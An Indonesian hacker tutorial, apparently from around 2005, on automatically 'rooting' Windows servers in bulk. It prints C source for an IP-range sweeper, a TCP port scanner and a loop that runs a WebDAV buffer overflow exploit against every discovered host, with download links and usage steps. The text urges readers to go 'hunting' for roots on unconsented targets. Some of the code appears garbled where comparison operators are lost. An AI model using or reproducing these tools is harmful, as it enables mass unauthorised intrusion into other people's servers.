R00TING MASS SCANNER (By : Ph03n1X) Pada artikel kali ini penulis hendak menyajikan cara ngeroot atau ngedapetin konsole administrator windows ke suatu mesin target secara otomatis. PENDAHULUAN Penulis hanya berusaha memenuhi janji penulis kemaren di channel #malanghackerlink dan #echo tentang suatu program root mass scanning. Di artikel ini sangat dituntut kemampuan anda dalam logika programming, basic dan socket programming (Dalam hal ini penulis menggunakan bahasa C UNIX). So kalo ada yang belum ngerti mail aja penulis di king_purba@yahoo.co.uk. Selain itu anda dituntut untuk mengerti bagaimana cara kerja exploit rooting yang anda gunakan. HOW TO USE ROOTING MASS SCANNER 1. Download dulu tools yang seminggu ini di buat penulis di link http://student.te.ugm.ac.id/~phoenix03/tutorial/root.tgz 2. Extract file yang anda download dan pindah ke directory r00t dengan $ tar zxvf root.tgz; cd r00t 3. Di directory itu ada lima buah script, Ekskusi skrip kompile dengan $ ./kompile 4. Kemudian buat file yang berisi daftar host yang hendak anda rooting, disini penulis menawarkan dua cara dalam menyusun file host.txt Pertama: Anda membuat daftar host secara manual yang telah anda ketahui Operating system dan open portnya Bagaiman cara tahu operating sistem dan open port, hmm ada banyak jalan berikut penulis contohkan: Menggunakan port scanner yang sudah penulis ikut sertakan dalam file yang anda download. Port scanner yang penulis buat ini mempunyai beberapa fitur : scanning single port, range port, atau scanning port pilihan anda baik dalam sebuah host atau banayak host untuk jelasnya cara penggunaan port scanner ini ekskusi perintah $ ./scan. Hasil scanning port yang terbuka di catat dalam file result.txt. Lalu untuk mengetahui Operating systemnya hostnya buka netcraft.com, kelebihan port scanner ini cukup cepat untuk scanning list yang berisi host cukup banyak karena di sediakan option scanning port tetentu yang berpeluang besar terbuka. Proses scanning dengan menggunakan Full connection TCP. Oiya port scanner ini masih memiliki peluang terjadi buffer overflow di beberapa array (Lupa belum aku kasih validasi panjang array masukkan (remember fungsi strlen() :P), namun untuk keperluan scanning sudah cukup handal. Maklum penulis lamer coder masih berumur belasan taun hahaha :D, jadi kurang pengalaman. Mengunakan nmap untuk scanning yang lebih beragam, fitur scanning TCP, UDP, ACK, SYN,FIN dan lainnya di support port scanner ini, berikut contoh penggunaan: #nmap -sT -PT80 -O myhost.com perintah diatas digunakan untuk melakukan scanning TCP melalui port 80 dan melakukan fingerprint operating system terhadap situs myhost.com #nmap -sS -PT80 -p 21,22,23,25,53,80,110 myhost.com perintah di atas digunakan untuk melakukan SYN scanning melalui port 80 terhadap port 21,22,23,25,53,80, dan 110 terhadap server myhost.com Untuk Detail penggunaan nmap silakan cari di insecure.org Kedua Anda dapat melakukan setup file host.txt menggunakan skrip yang di buat penulis, untuk cara penggunaannya ekskusi $ ./combiner. Prinsip skrip ini melakukan kombinasi IP yang rangenya diinputkan user kemudian melakukan scanning port 80, kalo port ini terbuka maka akan dicatat ke file host.txt, kalo file ini sudah tercipta maka skrip kan melanjutkan dengan melakukan port scanning ke port 21, 22, 23, 25, 53, 80, 110, 113, 119, 135, 139, 143, 515, dan 666 kemudian mencatatnya hasil scanning port yang terbuka dalam file result.txt Skrip ipcombiner.c terlampir dibawah..!! 5. Menentukan exploit yang akan digunakan dan menambahkannya di file rooting.c disini penulis mencontoh kan exploits webdav buffer overflow buatan mas xnuxer, maklum penulis jarang cari-cari exploit baru, sialnya penulis belum bisa bikin exploit buffer overflow (Mudah2 ada temen2 yang mau mengajari penulis imel ke king_purba@yahoo.co.uk). Tentu saja disini anda dituntut akan pengetahuan tentang bug yang memungkinkan anda rooting, port berapa yang digunakan untuk melakukan attacking dengan exploit yang hendak anda pake dst so keep learning. Selesai mengedit file rooting.c lakukan kompilasi ulang terhadap file ini. $gcc -o root rooting.c Berikut skrip file rooting.c ---------------------------------------------------cut here rooting.c-------------------------------------------- /*Auto r00ting script By : Ph03n1X || king_purba@yahoo.co.uk student.te.ugm.ac.id/~phoenix03 || iblizphoenix.mybesthost.com*/ #include"stdio.h" #include"stdlib.h" FILE *ao; char url[50],huh[100]; main() { if((ao=fopen("host.txt","r"))==NULL) { printf("\nFile kagak ketemu\n\n"); exit(1); } printf("\n"); while(fgets(url,50,ao)) { url[strlen(url)-1]='\0'; printf ("EXPLOITING %s\n",url); printf("--------------------------------------\n"); printf("WEBDAV OVERFLOW EXPLOITING\n"); sprintf(huh,"./webdav %s",url); system(huh);printf("\n"); } printf("\n"); } ---------------------------------------------------------- End Here ---------------------------------------------- 6. Setelah semua selesai saatnya anda menjalankan skrip root ini dengan mengekskusi $./root Tunggulah sampai skrip ini mendapatkan korbannya sendiri, belum berhasil coba lagi :P. Kalo pengen cepet berhasil cari exploit bug terbaru, kalo bug lawas mah adminnya udah nambal kali Happy hunting and dapet banyak root OK..!! ---------------------------------------------------Cut here ipcombiner.c ------------------------------------- /* IP Combiner write by : Ph03n1X || king_purba@yahoo.co.uk iblizphoenix.mybesthost.com || student.te.ugm.ac.id/~phoenix03*/ #include "stdio.h" #include "stdlib.h" #include "string.h" #include "sys/types.h" #include "sys/socket.h" #include "netdb.h" #include "netinet/in.h" #include "unistd.h" #include "fcntl.h" #define ERROR -1 #define TIMEOUT 3 FILE *ao,*tweaty; int o; int n,m,p,q,r,s,t,u; int w,x,y,z; warning() { printf("Jangan masukkan IP yang satu subnet dengan anda\n"); printf("misal IP anda 172.20.2.5 subnet 255.255.255.0 maka\n"); printf("jangan masukkan IP 172.20.2.1 s.d 172.20.2.254\n"); printf("kalo anda memaksa untuk memasukkannya maka combiner\n"); printf("ini akan berhenti/nyantol :p\n\n"); } guna() { printf("\nSkrip ini digunakan untuk mengkombinasi IP aaa.bbb.ccc.ddd\n"); printf("Gunakan : ./combiner -A aaa1-aaa2 -B bbb1-bbb2 -C ccc1-ccc2 -D ddd1-ddd2\n\n"); printf("Example : ./combiner -A 193-222 -B 20-70 -C 0-10 -D 1-254\n"); printf("Maka IP yang dikombinasikan dari 193.20.0.1 sampai 222.70.10.254\n\n"); warning(); exit(0); } int con_timeout(int sf, struct sockaddr *alamat,socklen_t dawa,int timeout) { int res,slen,flags; struct timeval tv; struct sockaddr_in almt; fd_set rdf,wrf; fcntl(sf,F_SETFL,O_NONBLOCK); res = connect(sf,alamat,dawa); if (res>=0)return res; FD_ZERO(&rdf); FD_ZERO(&wrf); FD_SET(sf, &rdf); FD_SET(sf, &wrf); bzero(&tv, sizeof(tv)); tv.tv_sec = timeout; if (select(sf + 1, &rdf, &wrf, 0, &tv) <= 0) return -1; if (FD_ISSET(sf, &wrf) || FD_ISSET(sf, &rdf)) { slen = sizeof(almt); if (getpeername(sf, (struct sockaddr*)&almt, &slen) == -1) return -1; flags = fcntl(sf, F_GETFL, NULL); fcntl(sf, F_SETFL, flags & ~O_NONBLOCK); return 0; } return -1; } kombinasi(int a,int ax,int b,int bx,int c,int cx,int d,int dx) { int sock,i,j,k,l; int aaa,bbb,ccc,ddd; struct sockaddr_in alamat; struct hostent *wala; char ip[50],IP[55]; for(i=a;i<=ax;i++){ for(j=b;j<=bx;j++){ for(k=c;k<=cx;k++){ for(l=d;l<=dx;l++){ aaa=i; bbb=j; ccc=k; ddd=l; if((sock=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Gagal socket\n"); exit(0); } sprintf(ip,"%d.%d.%d.%d",aaa,bbb,ccc,ddd); printf("%s\n",ip); wala=gethostbyname(ip); if(wala==NULL) { printf("Ga bisa ngeresolve serper..\n"); goto asem; } bzero((char *) &alamat, sizeof(alamat)); alamat.sin_family = AF_INET; bcopy( (char *)wala->h_addr,(char *)&alamat.sin_addr.s_addr,wala->h_length); alamat.sin_port = htons(80); // Karena aku cuma nyari host yang web serper doank if(con_timeout(sock,(struct sockaddr *)&alamat,sizeof(alamat),TIMEOUT)==ERROR) { printf("Host unreachable or Port 80 is close\n"); goto asem; } else { printf("Port 80 kok kebuka, kayaknya serper web\n"); sprintf(IP,"%s\n",ip); if((ao=fopen("host.txt","a"))==NULL) { printf("File ga bisa di buat\n"); exit(0); } fputs(IP,ao); fclose(ao); } asem: printf(""); close(sock); } } } } } int main(int argc,char *argv[]) { char aa=0,*bloka=NULL,*blokb=NULL,*blokc=NULL,*blokd=NULL; char *jas=NULL,*jbs=NULL,*jcs=NULL,*jds=NULL; char ubloka[10],ublokb[10],ublokc[10],ublokd[10]; char ujas[10],ujbs[10],ujcs[10],ujds[10],target[50]; int ajas,bjas,ajbs,bjbs,ajcs,bjcs,ajds,bjds; /*Jangan masukkan IP yang satu subnet dengan anda misal IP anda 172.20.2.5 subnet 255.255.255.0 maka jangan masukkan IP 172.20.2.1 s.d 172.20.2.254 kalo anda memaksa untuk memasukkannya maka combiner ini akan berhenti/nyantol :p */ system("rm -f host.txt"); if(argc!=9) guna(); while((aa=getopt(argc,argv,"A:B:C:D:"))!=EOF) { switch(aa) { case 'A': bloka=optarg; case 'B': blokb=optarg; case 'C': blokc=optarg; case 'D': blokd=optarg; } } n=strlen(bloka); jas=strchr(bloka,'-'); if(jas==NULL)guna(); m=strlen(jas); w=n-m; for(o=0;o255||bjbs>255||bjcs>255||bjds>255||ajds==0||bjds==0) {printf("Blok port anda ga bener\n\n");exit(0);} if(ajas>bjas||ajbs>bjbs||ajcs>bjcs||ajds>bjds) {printf("\nBlok akhir musti lebih gede dari blok awal\n\n");exit(0);} kombinasi(ajas,bjas,ajbs,bjbs,ajcs,bjcs,ajds,bjds); system("./scan -l host.txt -p 21,22,23,25,53,80,110,113,119,135,139,143,515,666"); } ------------------------------------------------------ X phnxscan.c X --------------------------------------------------- /* This port scanner write By Ph03n1X ( king_purba@yahoo.co.uk ) Site : iblizphoenix.mybesthost.com | student.te.ugm.ac.id/~phoenix03 Features : 1. Scanner single host with TCP 2. Scanner Multiple host with TCP Just Educational purpose copyright Ph03n1X 2005 :P Nmap is too slow to scan host in a big number I code this port scanner to solve that Use TCP connection only */ #include "stdio.h" #include "stdlib.h" #include "unistd.h" #include "fcntl.h" #include "sys/types.h" #include "sys/socket.h" #include "netdb.h" #include "netinet/in.h" #define TIMEOUT 3 #define ERROR -1 FILE *file,*mm,*nn; FILE *result; FILE *scan; int i,m,n,x,a,b; void fresult() { printf("\nHASIL SCANNING PORT DAPAT ANDA LIHAT DI FILE result.txt\n"); printf("KALO FILE INI GA ADA BERARTI GA ADA PORT YANG K BUKA\n"); } void guna() { printf("\nAturan pake : ./scan [option host] [option protokol]\n"); printf("Example : ./scan -s phoenix.net -T 1-100\n\n"); printf("OPTION :\n"); printf("\t-p for tcp port pilihan i.e = 21,22,223,25,80,135\n"); printf("\t-s for single host i.e = phoenix.net\n"); printf("\t-l for host in a list file i.e = host.txt\n"); printf("\t-T for range tcp ports i.e = 1-100\n\n"); exit(0); } int con_timeout(int sf, struct sockaddr *alamat,socklen_t dawa,int timeout) { int res,slen,flags; struct timeval tv; struct sockaddr_in almt; fd_set rdf,wrf; fcntl(sf,F_SETFL,O_NONBLOCK); res = connect(sf,alamat,dawa); if (res>=0)return res; FD_ZERO(&rdf); FD_ZERO(&wrf); FD_SET(sf, &rdf); FD_SET(sf, &wrf); bzero(&tv, sizeof(tv)); tv.tv_sec = timeout; if (select(sf + 1, &rdf, &wrf, 0, &tv) <= 0) return -1; if (FD_ISSET(sf, &wrf) || FD_ISSET(sf, &rdf)) { slen = sizeof(almt); if (getpeername(sf, (struct sockaddr*)&almt, &slen) == -1) return -1; flags = fcntl(sf, F_GETFL, NULL); fcntl(sf, F_SETFL, flags & ~O_NONBLOCK); return 0; } return -1; } tcp_connect(char *server,char *proto,int port) { int sock; struct hostent *helo; struct sockaddr_in address; char host[50],hasil[100]; if((sock=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Gagal bikin socket\n"); exit(0); } helo = gethostbyname(server); if(helo == NULL) { printf("\nGa bisa resolve host %s\n",server); goto nohost; } bzero((char *) &address, sizeof(address)); address.sin_family = AF_INET; bcopy( (char *)helo->h_addr,(char *)&address.sin_addr.s_addr,helo->h_length); address.sin_port = htons(port); if(con_timeout(sock,(struct sockaddr*)&address,sizeof(address),TIMEOUT)==ERROR) { printf("port %d (tcp) tertutup atau terfilter oleh firewall\n",port); goto nohost; } else { printf("port %d [%s] (tcp) terbuka\n",port,server); sprintf(hasil,"port %d [%s] (tcp) terbuka\n",port,server); if((result=fopen("result.txt","a"))==NULL) { printf("File ga bisa di buat\n"); exit(0); } fputs(hasil,result); fclose(result); goto ada; } nohost: printf(""); ada: printf(""); close(sock); } int main(int argc,char *argv[]) { int ports=0; int ao=0,wasu,p=0; char wow[50],wew[50],pamerhost[100],*host=NULL; char ip[50],buh[50],*hu=NULL; char *protokol=NULL,*rports=NULL; char *id=NULL,*test=NULL,utest[50],mumet[50]; char *portem=NULL,pports[256],ganti[2],aganti[2],huhu[10],pt[10]; int port; system("rm -f result.txt"); if(argc!=5) { guna(); } while((ao=getopt(argc,argv,"s:l:p:T:"))!=EOF) { switch(ao) { case 's': host=optarg; id="single"; break; case 'l': host=optarg; id="multi";break; break; case 'p': portem=optarg; protokol="ptcp"; break; case 'T': rports=optarg; protokol="rtcp"; break; default: guna(); } } if(argc>5) { guna(); exit(0); } if((host==NULL||ports==NULL) && (host==NULL||rports==NULL) && (host==NULL||portem==NULL)) { guna(); exit(0); } if(protokol=="rtcp" && id=="single") { printf("\n"); n=strlen(rports); test=strchr(rports,'-'); if(test==NULL){guna();exit(0);} x=strlen(test); m=n-x; for(i=0;i65535||b<=0||b>65535) {printf("Port ga bener\n\n");exit(0);} for(i=a;i<=b;i++) tcp_connect(host,protokol,i); fresult(); } else if(protokol=="rtcp" && id=="multi") { if((file=fopen(host,"r"))==NULL) { printf("File ga ada\n\n"); exit(0); } while(fgets(ip,sizeof(ip),file)) { n=strlen(ip); ip[n-1]='\0'; printf("\nScanning server %s\n",ip); printf("----------------------------\n"); printf("\n"); n=strlen(rports); test=strchr(rports,'-'); if(test==NULL){guna();exit(0);} x=strlen(test); m=n-x; for(i=0;i65535||b<=0||b>65535) {printf("Port ga bener\n\n");exit(0);} if(b<=a) { printf("Port akhir harus lebih besar dari port awal\n\n"); exit(0); } for(i=a;i<=b;i++) tcp_connect(ip,protokol,i); printf("\n"); } fresult(); } else if(protokol=="ptcp" && id=="single") { x=strlen(portem); system("rm -f jancuk.txt"); if((mm=fopen("jancuk.txt","a"))==NULL) {printf("File ga bisa di buat\n");exit(0);} for(i=0;i<=x;i++) { if(portem[i]==',') { sprintf(ganti,"\n"); fputs(ganti,mm); } else { pports[i]=portem[i]; sprintf(huhu,"%c",pports[i]); fputs(huhu,mm); } } sprintf(aganti,"\n"); fputs(aganti,mm); fclose(mm); if((nn=fopen("jancuk.txt","r"))==NULL) {printf("File ga ketemu euy...\n\n");exit(0);} while(fgets(pt,sizeof(pt),nn)) { pt[strlen(pt)-1]='\0'; port=atoi(pt); tcp_connect(host,protokol,port); } fclose(nn); fresult(); } else if(protokol=="ptcp" && id=="multi") { if((file=fopen(host,"r"))==NULL) { printf("File ga ada\n\n"); exit(0); } while(fgets(ip,sizeof(ip),file)) { n=strlen(ip); ip[n-1]='\0'; printf("\nScanning server %s\n",ip); printf("----------------------------\n"); printf("\n"); x=strlen(portem); system("rm -f jancuk.txt"); if((mm=fopen("jancuk.txt","a"))==NULL) {printf("File ga bisa di buat\n");exit(0);} for(i=0;i<=x;i++) { if(portem[i]==',') { sprintf(ganti,"\n"); fputs(ganti,mm); } else { pports[i]=portem[i]; sprintf(huhu,"%c",pports[i]); fputs(huhu,mm); } } sprintf(aganti,"\n"); fputs(aganti,mm); fclose(mm); if((nn=fopen("jancuk.txt","r"))==NULL) {printf("File ga ketemu euy...\n\n");exit(0);} while(fgets(pt,sizeof(pt),nn)) { pt[strlen(pt)-1]='\0'; port=atoi(pt); tcp_connect(ip,protokol,port); } fclose(nn); fresult(); } } system("rm -rf jancuk.txt"); printf("\n"); } ----------------------------------------------------- End of Script --------------------------------------------------- PENUTUP Penulis sadar akan betapa bahaya mempublish skrip ini apalagi kemaren di beberapa channel ada yang mengkalim punya remote root exploit buat fedora core 4 dan 3 ( walaopun penulis g dikasih ), tapi demi kejayaan IT indonesia penulis mencoba memberanikan diri untuk membagi ilmu dengan tementemen. Satu etika seorang hacker adalah menjunjung tinggi segala kebebasan informasi lalu mengapa anda harus close source, close exploits dan lainya (Apalagi itu exploit buatan orang :P dan aku kan masih belajar dan bukan seorang hacker ). Terakhir seperti biasa segala kritik, saran, pujian, celaan dan makian alamatkan ke king_purba@yahoo.co.uk. Terakhir masukkan dari temen2 sangat penulis harapkan untuk port scannernya yang hendak penulis selesaikan beberapa hari lagi (Yang aku publish tadi baru versi TCP nya hahaha :D soale belum jadi untuk fitur yang laen ). TERIMA KASIH 1. Alloh SWT 2. Kedua orang tuaku 3. cah gombong kebumen selaku keluarga ngapakku hehehe :P 4. KMTE UGM dan hantu2nya serta seluruh mahasiswa JTE UGM 5. Mas Sto 'n jasakom 6. Mas y3dips, the_day dan semua echo 7. anonymous /et/ kampus 8. Temen chattku di #echo, #malanghackerlink, #neoteker hehehe ini m1mi, m0mon, m1mi[aja] dan nickku yang laen say... :D 9. Bang josh untuk izin testing ke networknya. 10.Terakhir buat swelet yang sering chat ma gw ini artikel yang lu minta mudah2an lu sadar n g close source lagi :P REFERENCE 1. Pemrogramman socket dengan C yang ada di ilmukomputer.com 2. Buku tips n trik computer hacking ga tau dah itu punya sapa, soalnya pas mas xnuxer klaim dia ga nerbitin buku aku udah beli, jadi ya aku baca :) 3. Buku Konsep dasar pemrogramman bahasa C punya pak Jogiyanto Hartono, MBA, Ph.D.